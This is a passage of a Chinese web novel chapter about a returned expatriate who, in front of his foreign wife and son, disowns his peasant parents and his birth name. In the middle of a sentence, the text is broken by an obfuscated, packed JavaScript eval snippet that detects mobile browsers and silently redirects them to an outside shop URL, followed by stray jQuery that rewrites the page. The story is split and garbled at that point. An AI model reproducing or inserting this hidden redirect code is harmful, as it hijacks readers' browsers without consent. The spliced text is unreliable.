“建国？”老妇人的声音里带上了不安，她看看儿子，又看看儿子身边那个衣着漂亮的女人和那个揉着肚子的小孩，脸上的欣喜渐渐被一种茫然取代。
“这……这是你媳妇？这是俺大孙子？”
玛丽从眼前的气氛中，已经猜出了**不离十。杨乔治在鹰国留学时一直标榜自己的家世，说父母都是名门望族，却原来，竟是这样两个出身底层的农民？
她脸色一沉，之前对丈夫种种依仗和信赖全都变了样，厉声喝道：“乔治，你不打算跟我解释一下？这两个穷酸是谁？”
穷酸。
这两个字像一根针，扎在老夫妇的耳朵里，同样也扎进他们那颗期盼的心。他们同时哆嗦了一下，却不敢出言训斥儿子，只能用那种乡下人特有的、带着讨好和不安的眼神，望着自己的儿子。
“建，建国……”
这一声喊得杨乔治心头大恸，他张了张嘴，想告诉玛丽“这是我的父母，你的公婆”。
想说“他们虽然是乡下人，却抚养我长大”。
想说“我虽然出身不好，但足够努力……”
可那些话卡在喉咙里，怎么也说不出来。
因为钱教授还站在旁边，安利普也站在旁边。
而就在不久前，自己曾亲口向安利普辩解，自己是鹰国人，早已入了他国的国籍。
而更让人嘲讽的是，他还亲口叫嚣着让安利普提高材料售价，让整个大夏民族买单。
现在，整个大厅的大夏人，都在看着他们。
那些嘲讽的目光像一道道凌厉的鞭子，抽在他的面皮上，打得他的脸隐隐作疼。
“建国……”见他迟迟不开口，老头子用拇指抹掉眼角的泪，从怀里掏出一个布包。
他将布包层层叠叠打开，里面是一沓皱巴巴的钞票。
“俺们听说能见着你，也来不及带啥，这是俺和你娘攒的二百块钱，你拿着……国外花钱的地方多……”
二百块钱。
杨乔治看着那沓钞票，面值最大的是三张十块的，几张五块的，剩下的都是一块两块，一分两分的**票。
每一张都被小心地抚平边角，压得整整齐齐，上面还带着老人的体温。
他忽然想起小时候，爹娘就是这样，把一分一毛的钱塞进瓦罐里，攒够了就给他交学费。他想起自己出国那年，爹娘把家里能卖的都卖了，凑了三百块钱塞给他，说“建国，好好念书，给咱家争气”。
而自己上一次给家里写信是什么时候？十年前？
上一次寄钱呢？至少也间隔了五年。
那时，他寄了五十元美金，还特意在信里写了“以后别给我写信了，寄信太慢，我在国外不方便”。
想到这里，他的目光扫过，在那叠陈旧的钞票下，一张绿色票子分外显眼，就藏在老人粗糙的手指下。
难道……他的心猛地缩紧，那张纸币，他们一直没花？
是的，他忘了，国内能兑换美元的银行只在京城内，自己的父母一辈子没出过农村，又怎会知道外汇需要兑换的事？
也就是说，这些年，他们根本没有享受过自己哪怕一天的养老？
“这钱，你们收着吧。”他听见自己的声音，干涩、生硬，“我不缺钱。”
老头子的手僵在半空。
老妇人的眼眶红了，她低下头，用袖子擦了擦眼睛，然后又抬起头，努力挤出一个笑：“那、那让俺看看孙子中不？让俺抱抱……”
她朝小亨利走去。
小亨利正揉着肚子，看见一个穿打补丁衣服的老太太朝自己走来，吓了一跳，立刻躲到玛丽身后，用英语喊：“妈妈！这个穷老太婆要干什么！”
他喊得很大声。
整个大厅都听见了。
老妇人的脚步停住了。她的手还伸着，悬在半空，像一个不知道该往哪里放的、多余的东西。
她不明白，为什么一个长着纯正东方面孔的，和他儿子一个模子生出来的孩子，用一种自己听不懂的话，对着自己大吼大叫。
玛丽搂住儿子送到身后，非但没有尴尬，反而向杨乔治叫道：“你不是说过，你父母都是做大生意的吗？现在怎么解释？！”
好在，这句话她改用了英文，乡下那对老夫妻压根听不明白。
但周围能听懂英语的人已经知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17207415|197367||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了，杨乔治之前是怎样介绍自己家世的。
众人的目光几乎同时降到了冰点。
杨乔治的脸已经不能用“白”来形容了。
那是一种灰败的颜色，像被抽干了水分的枯木，想向妻子解释，却开不了口，想接住父母的善意，又跨不过那道鸿沟。
他光是站在那里，就已经与父母形成了荒诞的对比。
他穿着昂贵的西装，他们穿着打补丁的粗布衣裳；
他梳着鹰国精英最流行的发型，他们的头发却花白蓬乱；
他踩着做工精致的皮鞋，他们的布鞋沾着乡下的黄土。
更重要的是，直到现在，杨乔治都没有勇气拉过妻儿，向自己的父母介绍她们的身份。
此刻所有人的目光，都带着温度地落在老夫妇身上，落在那沓皱巴巴的二百块钱上，落在那双悬在半空、想抱孙子却不敢往前的手上。
而落在他身上的目光，只有鄙夷、冷漠、和一种彻骨的寒意。
“建国……”老妇人又喊了一声，声音哽咽，却强行忍耐着。
“娘就是想看看你……看看孙子……俺们明天，不，一会就走，不耽误你工作……”
这一声“建国”，像一把钝刀子，在杨乔治的心上来回锯着。
他已经很多年没有听过这个名字了。
他是乔治·杨。他的名片上印着GeYang。他的同事叫他Ge。他的太太叫他乔治。他的儿子姓杨，不喜欢大夏，一门心思把自己当鹰国人。
“建国”是谁？
是他七岁那年，村里发大水，爹把他顶在头上蹚水过河时喊的名字？
是他十二岁考上县一中，娘连夜给他做了一双新布鞋时喊的名字？
是他十八岁考上大学，全村人凑钱给他摆酒席时喊的名字？
还是他二十五岁出国那天，爹娘站在村口，一直站到看不见人影时喊的名字？
“我不叫建国。”他听见自己的声音，像是从很远的地方飘来，“我叫乔治·杨。”
老头子手里的布包抖了一下。
老妇人悬着的手，终于垂了下来。